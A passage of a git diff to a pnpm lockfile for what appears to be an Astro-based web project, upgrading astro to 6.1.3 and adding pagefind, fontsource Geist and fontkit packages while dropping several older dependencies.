sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [win32] - '@esbuild/win32-arm64@0.27.7': resolution: {integrity: sha512-7yRhbHvPqSpRUV7Q20VuDwbjW5kIMwTHpptuUzV+AA46kiPze5Z7qgt6CLCK3pWFrHeNfDd1VKgyP4O+ng17CA==} engines: {node: '>=18'} cpu: [arm64] os: [win32] - '@esbuild/win32-ia32@0.25.12': - resolution: {integrity: sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==} - engines: {node: '>=18'} - cpu: [ia32] - os: [win32] - '@esbuild/win32-ia32@0.27.7': resolution: {integrity: sha512-SmwKXe6VHIyZYbBLJrhOoCJRB/Z1tckzmgTLfFYOfpMAx63BJEaL9ExI8x7v0oAO3Zh6D/Oi1gVxEYr5oUCFhw==} engines: {node: '>=18'} cpu: [ia32] os: [win32] - '@esbuild/win32-x64@0.25.12': - resolution: {integrity: sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==} - engines: {node: '>=18'} - cpu: [x64] - os: [win32] - '@esbuild/win32-x64@0.27.7': resolution: {integrity: sha512-56hiAJPhwQ1R4i+21FVF7V8kSD5zZTdHcVuRFMW0hn753vVfQN8xlx4uOPT4xoGH0Z/oVATuR82AiqSTDIpaHg==} engines: {node: '>=18'} cpu: [x64] os: [win32] + '@fontsource/geist-mono@5.3.0': + resolution: {integrity: sha512-UtJ1BBBCVpMYdIcW7nEB45UAoAw5M53ZXs2t0ciPW+IokuAAIc56M8+kW5tXbRJCTpDw4XTtU7proT6NdQAHTg==} + + '@fontsource/geist@5.3.0': + resolution: {integrity: sha512-u03ftlfVwb05uijq2jGDJ03/HKGqMKaNFk7KOhkpBUex8+BhrAOfMs/XciJ2UUNUX9fEsZbZQld/RWMA2oFU7g==} + '@img/colour@1.1.0': resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} @@ -684,6 +561,41 @@ packages: '@oslojs/encoding@1.1.0': resolution: {integrity: sha512-70wQhgYmndg4GCPxPPxPGevRKqTIJ2Nh4OkiMWmDAVYsTQ+Ta7Sq+rPevXyXGdzr30/qZBnyOalCszoMxlyldQ==} + '@pagefind/darwin-arm64@1.5.0': + resolution: {integrity: sha512-OXQVlxALU9+Lz/LxkAa+RvaxY1cnRKUDCuwl9o8PY5Lg/znP573y4WIbVOOIz8Bv7uj7r00TGy7pD+NSLMJGBw==} + cpu: [arm64] + os: [darwin] + + '@pagefind/darwin-x64@1.5.0': + resolution: {integrity: sha512-+LK1Xq5n/B0hHc08DW61SnfIlfLKyXZ1oKcbfZ1MimE7Rn0Q6R0VI/TlC04f/JDPm+67zAOwPGizzvefOi5vqQ==} + cpu: [x64] + os: [darwin] + + '@pagefind/freebsd-x64@1.5.0': + resolution: {integrity: sha512-kicDfUF9gn/z06NimTwNlZXF8z3pLsN3BIPPt6N8unuh0n55fr64tVs2p3a5RKYmQkJGjPfOE/C9GI5YTEpURg==} + cpu: [x64] + os: [freebsd] + + '@pagefind/linux-arm64@1.5.0': + resolution: {integrity: sha512-e5rDB3wPm89bcSLiatKBDTrVTbsMQrrtkXRaAoUJYU0C1suXVvEzZfjmMvrUDvYhZBx/Ls8hGuGxlqSJBz3gDg==} + cpu: [arm64] + os: [linux] + + '@pagefind/linux-x64@1.5.0': + resolution: {integrity: sha512-vh52DcBiF/mRMmq+Rwt3M3RgEWgl00jFk/M5NWhLEHJFq4+papQXwbyKbi7cNlxaeYrKx6wOfW3fm9cftfc/Kg==} + cpu: [x64] + os: [linux] + + '@pagefind/windows-arm64@1.5.0': + resolution: {integrity: sha512-kg+szZwffZdyWn6SL6RHjAYjhSvJ2bT4qkv3KepGsbmD9fuSHUSC+2kydDneDVUA9qEDRf9uSFoEAsXsp1/JKA==} + cpu: [arm64] + os: [win32] + + '@pagefind/windows-x64@1.5.0': + resolution: {integrity: sha512-8eOCmB8lnpyvwz+HrcTXLuBxhj7UseAFh6KGEXRe8UCcAfVQih+qPy/4akJRezViI+ONijz9oi7HpMkw9rdtBg==} + cpu: [x64] + os: [win32] + '@react-three/drei@10.7.7': resolution: {integrity: sha512-ff+J5iloR0k4tC++QtD/j9u3w5fzfgFAWDtAGQah9pF2B1YgOq/5JxqY0/aVoQG5r3xSZz0cv5tk2YuBob4xEQ==} peerDependencies: @@ -720,8 +632,8 @@ packages: react-native: optional: true - '@rolldown/pluginutils@1.0.0-beta.27': - resolution: {integrity: sha512-+d0F4MKMCbeVUJwG96uQ4SgAznZNSq93I3V+9NHA4OpvqG8mRCpGdKmK8l/dl02h2CCDHwW2FqilnTyDcAnqjA==} + '@rolldown/pluginutils@1.0.0-rc.3': + resolution: {integrity: sha512-eybk3TjzzzV97Dlj5c+XrBFW57eTNhzod66y9HrBlzJ6NsCrWCp/2kaPS3K9wJmurBC0Tdw4yPjXKZqlznim3Q==} '@rollup/pluginutils@5.3.0': resolution: {integrity: sha512-5EdhGZtnu3V88ces7s53hhfK5KSASnJZv8Lulpc04cWO3REESroJXg73DFsOmgbU2BhwV0E20bu2IDZb3VKW4Q==} @@ -870,30 +782,18 @@ packages: cpu: [x64] os: [win32] - '@shikijs/core@3.23.0': - resolution: {integrity: sha512-NSWQz0riNb67xthdm5br6lAkvpDJRTgB36fxlo37ZzM2yq0PQFFzbd8psqC2XMPgCzo1fW6cVi18+ArJ44wqgA==} - '@shikijs/core@4.0.2': resolution: {integrity: sha512-hxT0YF4ExEqB8G/qFdtJvpmHXBYJ2lWW7qTHDarVkIudPFE6iCIrqdgWxGn5s+ppkGXI0aEGlibI0PAyzP3zlw==} engines: {node: '>=20'} - '@shikijs/engine-javascript@3.23.0': - resolution: {integrity: sha512-aHt9eiGFobmWR5uqJUViySI1bHMqrAgamWE1TYSUoftkAeCCAiGawPMwM+VCadylQtF4V3VNOZ5LmfItH5f3yA==} - '@shikijs/engine-javascript@4.0.2': resolution: {integrity: sha512-7PW0Nm49DcoUIQEXlJhNNBHyoGMjalRETTCcjMqEaMoJRLljy1Bi/EGV3/qLBgLKQejdspiiYuHGQW6dX94Nag==} engines: {node: '>=20'} - '@shikijs/engine-oniguruma@3.23.0': - resolution: {integrity: sha512-1nWINwKXxKKLqPibT5f4pAFLej9oZzQTsby8942OTlsJzOBZ0MWKiwzMsd+jhzu8YPCHAswGnnN1YtQfirL35g==} - '@shikijs/engine-oniguruma@4.0.2': resolution: {integrity: sha512-UpCB9Y2sUKlS9z8juFSKz7ZtysmeXCgnRF0dlhXBkmQnek7lAToPte8DkxmEYGNTMii72zU/lyXiCB6StuZeJg==} engines: {node: '>=20'} - '@shikijs/langs@3.23.0': - resolution: {integrity: sha512-2Ep4W3Re5aB1/62RSYQInK9mM3HsLeB91cHqznAJMuylqjzNVAVCMnNWRHFtcNHXsoNRayP9z1qj4Sq3nMqYXg==} - '@shikijs/langs@4.0.2': resolution: {integrity: sha512-KaXby5dvoeuZzN0rYQiPMjFoUrz4hgwIE+D6Du9owcHcl6/g16/yT5BQxSW5cGt2MZBz6Hl0YuRqf12omRfUUg==} engines: {node: '>=20'} @@ -902,16 +802,10 @@ packages: resolution: {integrity: sha512-M6UMPrSa3fN5ayeJwFVl9qWofl273wtK1VG8ySDZ1mQBfhCpdd8nEx7nPZ/tk7k+TYcpqBZzj/AnwxT9lO+HJw==} engines: {node: '>=20'} - '@shikijs/themes@3.23.0': - resolution: {integrity: sha512-5qySYa1ZgAT18HR/ypENL9cUSGOeI2x+4IvYJu4JgVJdizn6kG4ia5Q1jDEOi7gTbN4RbuYtmHh0W3eccOrjMA==} - '@shikijs/themes@4.0.2': resolution: {integrity: sha512-mjCafwt8lJJaVSsQvNVrJumbnnj1RI8jbUKrPKgE6E3OvQKxnuRoBaYC51H4IGHePsGN/QtALglWBU7DoKDFnA==} engines: {node: '>=20'} - '@shikijs/types@3.23.0': - resolution: {integrity: sha512-3JZ5HXOZfYjsYSk0yPwBrkupyYSLpAE26Qc0HLghhZNGTZg/SKxXIIgoxOpmmeQP0RRSDJTk1/vPfw9tbw+jSQ==} - '@shikijs/types@4.0.2': resolution: {integrity: sha512-qzbeRooUTPnLE+sHD/Z8DStmaDgnbbc/pMrU203950aRqjX/6AFHeDYT+j00y2lPdz0ywJKx7o/7qnqTivtlXg==} engines: {node: '>=20'} @@ -919,6 +813,9 @@ packages: '@shikijs/vscode-textmate@10.0.2': resolution: {integrity: sha512-83yeghZ2xxin3Nj8z1NMd/NCuca+gsYXswywDy5bHvwlWL8tpTQmzGeUuHd9FC3E/SBEMvzJRwWEOz5gGes9Qg==} + '@swc/helpers@0.5.23': + resolution: {integrity: sha512-5lSsMOTXURePglDfvuAQUqkGek9Hg2kksOYay2m0+XR++b2NWYL/4sWyuvVBIs8oKnJaxkdi9whaL/sqN13afw==} + '@tailwindcss/node@4.2.2': resolution: {integrity: sha512-pXS+wJ2gZpVXqFaUEjojq7jzMpTGf8rU6ipJz5ovJV6PUGmlJ+jvIwGrzdHdQ80Sg+wmQxUFuoW1UAAwHNEdFA==} @@ -1037,6 +934,9 @@ packages: '@types/estree@1.0.8': resolution: {integrity: sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==} + '@types/fontkit@2.0.9': + resolution: {integrity: sha512-qNYerFky3muCmZPq+R+B3cUDRA5OONw/oh6aGGFxx2LOBz6yu8eamKusrhkHnC6rc2fm76+G9z9QoWSB2SaQaw==} + '@types/hast@3.0.4': resolution: {integrity: sha512-WPs+bbQw5aCj+x6laNGWLH3wviHtoCv/P3+otBhbOhJgG8qtpdAMlTCxLtsTWA7LH1Oh/bFCHsBn0TPS5m30EQ==} @@ -1094,35 +994,15 @@ packages: peerDependencies: react: '>= 16.8.0' - '@vitejs/plugin-react@4.7.0': - resolution: {integrity: sha512-gUu9hwfWvvEDBBmgtAowQCojwZmJ5mcLn3aufeCsitijs3+f2NsrPtlAWIR6OPiqljl96GVCUbLe0HyqIpVaoA==} - engines: {node: ^14.18.0 || >=16.0.0} + '@vitejs/plugin-react@5.2.0': + resolution: {integrity: sha512-YmKkfhOAi3wsB1PhJq5Scj3GXMn3WvtQ/JC0xoopuHoXSdmtdStOpFrYaT1kie2YgFBcIe64ROzMYRjCrYOdYw==} + engines: {node: ^20.19.0 || >=22.12.0} peerDependencies: - vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 + vite: ^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0 '@webgpu/types@0.1.69': resolution: {integrity: sha512-RPmm6kgRbI8e98zSD3RVACvnuktIja5+yLgDAkTmxLr90BEwdTXRQWNLF3ETTTyH/8mKhznZuN5AveXYFEsMGQ==} - acorn@8.16.0: - resolution: {integrity: sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==} - engines: {node: '>=0.4.0'} - hasBin: true - - ansi-align@3.0.1: - resolution: {integrity: sha512-IOfwwBF5iczOjp/WeY4YxyjqAFMQoZufdQWDd19SEExbVLNXqvpzSJ/M7Za4/sCPmQ0+GRquoA7bGcINcxew6w==} - - ansi-regex@5.0.1: - resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} - engines: {node: '>=8'} - - ansi-regex@6.2.2: - resolution: {integrity: sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==} - engines: {node: '>=12'} - - ansi-styles@6.2.3: - resolution: {integrity: sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==} - engines: {node: '>=12'} - anymatch@3.1.3: resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} engines: {node: '>= 8'} @@ -1140,9 +1020,9 @@ packages: array-iterate@2.0.1: resolution: {integrity: sha512-I1jXZMjAgCMmxT4qxXfPXa6SthSoE8h6gkSI9BGGNv8mP8G/v0blc+qFnZu6K42vTOiuME596QaLO0TP3Lk0xg==} - astro@5.18.1: - resolution: {integrity: sha512-m4VWilWZ+Xt6NPoYzC4CgGZim/zQUO7WFL0RHCH0AiEavF1153iC3+me2atDvXpf/yX4PyGUeD8wZLq1cirT3g==} - engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0, npm: '>=9.6.5', pnpm: '>=7.1.0'} + astro@6.1.3: + resolution: {integrity: sha512-FUKbBYOdYYrRNZwDd9I5CVSfR6Nj9aZeNzcjcvh1FgHwR0uXawkYFR3HiGxmdmAB2m8fs0iIkDdsiUfwGeO8qA==} + engines: {node: '>=22.12.0', npm: '>=9.6.5', pnpm: '>=7.1.0'} hasBin: true axobject-query@4.1.0: @@ -1152,9 +1032,6 @@ packages: bail@2.0.2: resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} - base-64@1.0.0: - resolution: {integrity: sha512-kwDPIFCGx0NZHog36dj+tHiwP4QMzsZ3AgMViUBKI0+V5n4U0ufTCUMhnQ04diaRI8EX/QcPfql7zlhZ7j4zgg==} - base64-js@1.5.1: resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} @@ -1169,9 +1046,8 @@ packages: boolbase@1.0.0: resolution: {integrity: sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==} - boxen@8.0.1: - resolution: {integrity: sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw==} - engines: {node: '>=18'} + brotli@1.3.3: + resolution: {integrity: sha512-oTKjJdShmDuGW94SyyaoQvAjf30dZaHnjJ8uAF+u2/vGJkJbJPJAT1gDiOJP5v1Zb6f9KEyW/1HpuaWIXtGHPg==} browserslist@4.28.2: resolution: {integrity: sha512-48xSriZYYg+8qXna9kwqjIVzuQxi+KYWp2+5nCYnYKPTr0LvD89Jqk2Or5ogxz0NUMfIjhh2lIUX/LyX9B4oIg==} @@ -1181,10 +1057,6 @@ packages: buffer@6.0.3: resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} - camelcase@8.0.0: - resolution: {integrity: sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==} - engines: {node: '>=16'} - camera-controls@3.1.2: resolution: {integrity: sha512-xkxfpG2ECZ6Ww5/9+kf4mfg1VEYAoe9aDSY+IwF0UEs7qEzwy0aVRfs2grImIECs/PoBtWFrh7RXsQkwG922JA==} engines: {node: '>=22.0.0', npm: '>=10.5.1'} @@ -1197,10 +1069,6 @@ packages: ccount@2.0.1: resolution: {integrity: sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==} - chalk@5.6.2: - resolution: {integrity: sha512-7NzBL0rN6fMUW+f7A6Io4h40qQlG+xGmtMxfbnH/K7TAtt8JQWVQK+6g0UXKMeVJoyV5EkkNsErQ8pVD3bLHbA==} - engines: {node: ^12.17.0 || ^14.13 || >=16.0.0} - character-entities-html4@2.1.0: resolution: {integrity: sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==} @@ -1218,9 +1086,9 @@ packages: resolution: {integrity: sha512-77PSwercCZU2Fc4sX94eF8k8Pxte6JAwL4/ICZLFjJLqegs7kCuAsqqj/70NQF6TvDpgFjkubQB2FW2ZZddvQg==} engines: {node: '>=8'} - cli-boxes@3.0.0: - resolution: {integrity: sha512-/lzGpEWL/8PfI0BmBOPRwp0c/wFNX1RdUML3jK/RcSBA9T8mZDdQpqYBKtCFTOfQbwPqWEOpjqW+Fnayc0969g==} - engines: {node: '>=10'} + clone@2.1.2: + resolution: {integrity: sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==} + engines: {node: '>=0.8'} clsx@2.1.1: resolution: {integrity: sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==} @@ -1233,8 +1101,9 @@ packages: resolution: {integrity: sha512-yPVavfyCcRhmorC7rWlkHn15b4wDVgVmBA7kV4QVBsF7kv/9TKJAbAXVTxvTnwP8HHKjRCJDClKbciiYS7p0DQ==} engines: {node: '>=16'} - common-ancestor-path@1.0.1: - resolution: {integrity: sha512-L3sHRo1pXXEqX8VU28kfgUY+YGsk09hPqZiZmLacNib6XNTCM8ubYeT7ryXQw8asB1sKgcU5lkB7ONug08aB8w==} + common-ancestor-path@2.0.0: + resolution: {integrity: sha512-dnN3ibLeoRf2HNC+OlCiNc5d2zxbLJXOtiZUudNFSXZrNSydxcCsSpRzXwfu7BBWCIfHPw+xTayeBvJCP/D8Ng==} + engines: {node: '>= 18'} convert-source-map@2.0.0: resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} @@ -1273,11 +1142,6 @@ packages: resolution: {integrity: sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==} engines: {node: '>= 6'} - cssesc@3.0.0: - resolution: {integrity: sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==} - engines: {node: '>=4'} - hasBin: true - csso@5.0.5: resolution: {integrity: sha512-0LrrStPOdJj+SPCCrGhzryycLjwcgUSHBtxNA8aIDxf0GLsRh1cKYhB00Gd1lDOS4yGH69+SNn13+TWbVHETFQ==} engines: {node: ^10 || ^12.20.0 || ^14.13.0 || >=15.0.0, npm: '>=7.0.0'} @@ -1314,16 +1178,15 @@ packages: resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} engines: {node: '>=8'} - deterministic-object-hash@2.0.2: - resolution: {integrity: sha512-KxektNH63SrbfUyDiwXqRb1rLwKt33AmMv+5Nhsw1kqZ13SJBRTgZHtGbE+hH3a1mVW1cz+4pqSWVPAtLVXTzQ==} - engines: {node: '>=18'} - devalue@5.6.4: resolution: {integrity: sha512-Gp6rDldRsFh/7XuouDbxMH3Mx8GMCcgzIb1pDTvNyn8pZGQ22u+Wa+lGV9dQCltFQ7uVw0MhRyb8XDskNFOReA==} devlop@1.1.0: resolution: {integrity: sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==} + dfa@1.2.0: + resolution: {integrity: sha512-ED3jP8saaweFTjeGX8HQPjeC1YYyZs98jGNZx6IiBvxW7JG5v492kamAQB3m2wop07CvU/RQmzcKr6bgcC5D/Q==} + diff@8.0.4: resolution: {integrity: sha512-DPi0FmjiSU5EvQV0++GFDOJ9ASQUVFh5kD+OzOnYdi7n3Wpm9hWWGfB/O2blfHcMVTL5WkQXSnRiK9makhrcnw==} engines: {node: '>=0.3.1'} @@ -1354,12 +1217,6 @@ packages: electron-to-chromium@1.5.331: resolution: {integrity: sha512-IbxXrsTlD3hRodkLnbxAPP4OuJYdWCeM3IOdT+CpcMoIwIoDfCmRpEtSPfwBXxVkg9xmBeY7Lz2Eo2TDn/HC3Q==} - emoji-regex@10.6.0: - resolution: {integrity: sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==} - - emoji-regex@8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - enhanced-resolve@5.20.1: resolution: {integrity: sha512-Qohcme7V1inbAfvjItgw0EaxVX5q2rdVEZHRBrEQdRZTssLDGsL8Lwrznl8oQ/6kuTJONLaDcGjkNP247XEhcA==} engines: {node: '>=10.13.0'} @@ -1372,13 +1229,8 @@ packages: resolution: {integrity: sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==} engines: {node: '>=0.12'} - es-module-lexer@1.7.0: - resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} - - esbuild@0.25.12: - resolution: {integrity: sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==} - engines: {node: '>=18'} - hasBin: true + es-module-lexer@2.0.0: + resolution: {integrity: sha512-5POEcUuZybH7IdmGsD8wlf0AI55wMecM9rVBTI/qEAy2c1kTOm3DjFYjrBdI2K3BaJjJYfYFeRtM0t9ssnRuxw==} esbuild@0.27.7: resolution: {integrity: sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==} @@ -1396,15 +1248,24 @@ packages: estree-walker@2.0.2: resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} - estree-walker@3.0.3: - resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} - eventemitter3@5.0.4: resolution: {integrity: sha512-mlsTRyGaPBjPedk6Bvw+aqbsXDtoAyAzm5MO7JgU+yVRyMQ5O8bD4Kcci7BS85f93veegeCPkL8R4GLClnjLFw==} extend@3.0.2: resolution: {integrity: sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==} + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-string-truncated-width@1.2.1: + resolution: {integrity: sha512-Q9acT/+Uu3GwGj+5w/zsGuQjh9O1TyywhIwAxHudtWrgF09nHOPrvTLhQevPbttcxjr/SNN7mJmfOw/B1bXgow==} + + fast-string-width@1.1.0: + resolution: {integrity: sha512-O3fwIVIH5gKB38QNbdg+3760ZmGz0SZMgvwJbA1b2TGXceKE6A2cOlfogh1iw8lr049zPyd7YADHy+B7U4W9bQ==} + + fast-wrap-ansi@0.1.6: + resolution: {integrity: sha512-HlUwET7a5gqjURj70D5jl7aC3Zmy4weA1SHUfM0JFI0Ptq987NH2TwbBFLoERhfwk+E+eaq4EK3jXoT+R3yp3w==} + fast-xml-builder@1.1.4: resolution: {integrity: sha512-f2jhpN4Eccy0/Uz9csxh3Nu6q4ErKxf0XIsasomfOihuSUa3/xw6w8dnOtCDgEItQFJG8KyXPzQXzcODDrrbOg==} @@ -1434,6 +1295,9 @@ packages: fontace@0.4.1: resolution: {integrity: sha512-lDMvbAzSnHmbYMTEld5qdtvNH2/pWpICOqpean9IgC7vUbUJc3k+k5Dokp85CegamqQpFbXf0rAVkbzpyTA8aw==} + fontkit@2.0.4: + resolution: {integrity: sha512-syetQadaUEDNdxdugga9CpEYVaQIxOwk7GlwZWWZ19//qW4zE5bknOKeMBDYAASwnpaSHKJITRLMF9m1fp3s6g==} + fontkitten@1.0.3: resolution: {integrity: sha512-Wp1zXWPVUPBmfoa3Cqc9ctaKuzKAV6uLstRqlR56kSjplf5uAce+qeyYym7F+PHbGTk+tCEdkCW6RD7DX/gBZw==} engines: {node: '>=20'} @@ -1447,10 +1311,6 @@ packages: resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} engines: {node: '>=6.9.0'} - get-east-asian-width@1.5.0: - resolution: {integrity: sha512-CQ+bEO+Tva/qlmw24dCejulK5pMzVnUOFOijVogd3KQs07HnRIgp8TGipvCCRT06xeYEbpbgwaCxglFyiuIcmA==} - engines: {node: '>=18'} - github-slugger@2.0.0: resolution: {integrity: sha512-IaOQ9puYtjrkq7Y0Ygl9KDZnrf/aiUJYUpVf89y8kyaxbRG7Y1SrX/jaumrv81vc61+kiMempujsM3Yw7w5qcw==} @@ -1469,6 +1329,9 @@ packages: hast-util-from-parse5@8.0.3: resolution: {integrity: sha512-3kxEVkEKt0zvcZ3hCRYI8rqrgwtlIOFMWkbclACvjlDw8Li9S2hk/d51OI0nr/gIpdMHNepwgOKqZ/sy0Clpyg==} + hast-util-heading-rank@3.0.0: + resolution: {integrity: sha512-EJKb8oMUXVHcWZTDepnr+WNbfnXKFNf9duMesmr4S8SXTJBJ9M4Yok08pu9vxdJwdlGRhVumk9mEhkEvKGifwA==} + hast-util-is-element@3.0.0: resolution: {integrity: sha512-Val9mnv2IWpLbNPqc/pUem+a7Ipj2aHacCwgNfTiK0vJKl0LF+4Ba4+v1oPHFpf3bLYmreq0/l3Gud9S5OH42g==} @@ -1484,6 +1347,9 @@ packages: hast-util-to-parse5@8.0.1: resolution: {integrity: sha512-MlWT6Pjt4CG9lFCjiz4BH7l9wmrMkfkJYCxFwKQic8+RTZgWPuWxwAfjJElsXkex7DJjfSJsQIt931ilUgmwdA==} + hast-util-to-string@3.0.1: + resolution: {integrity: sha512-XelQVTDWvqcl3axRfI0xSeoVKzyIFPwsAGSLIsKdJKQMXDYJS4WYrBNF/8J7RdhIcFI2BOHgAifggsvsxp/3+A==} + hast-util-to-text@4.0.2: resolution: {integrity: sha512-KK6y/BN8lbaq654j7JgBydev7wuNMcID54lkRav1P0CaE1e47P72AWWPiGKXTJU271ooYzcvTAn/Zt0REnvc7A==} @@ -1511,9 +1377,6 @@ packages: immediate@3.0.6: resolution: {integrity: sha512-XXOFtyqDjNDAQxVfYxuF7g9Il/IbWmmlQg2MYKOH8ExIT1qg6xc4zyS3HaEEATgs1btfzxq15ciUiY7gjSXRGQ==} - import-meta-resolve@4.2.0: - resolution: {integrity: sha512-Iqv2fzaTQN28s/FwZAoFq0ZSs/7hMAHJVX+w8PZl3cY19Pxk6jFFalxQoIfW2826i/fDLXv8IiEZRIT0lDuWcg==} - iron-webcrypto@1.2.1: resolution: {integrity: sha512-feOM6FaSr6rEABp/eDfVseKyTMDt+KGpeB35SkVn9Tyn0CqvVsY3EwI0v5i8nMHyJnzCIQf7nsy3p41TPkJZhg==} @@ -1522,10 +1385,6 @@ packages: engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} hasBin: true - is-fullwidth-code-point@3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} - is-inside-container@1.0.0: resolution: {integrity: sha512-KIYLCCJghfHZxqjYBE7rEy0OBuTd5xCHS7tHVgvCLkx7StIoaxwNW3hCALgEUjFfeRk+MG/Qxmp/vtETEF3tRA==} engines: {node: '>=14.16'} @@ -1571,10 +1430,6 @@ packages: engines: {node: '>=6'} hasBin: true - kleur@3.0.3: - resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==} - engines: {node: '>=6'} - lie@3.3.0: resolution: {integrity: 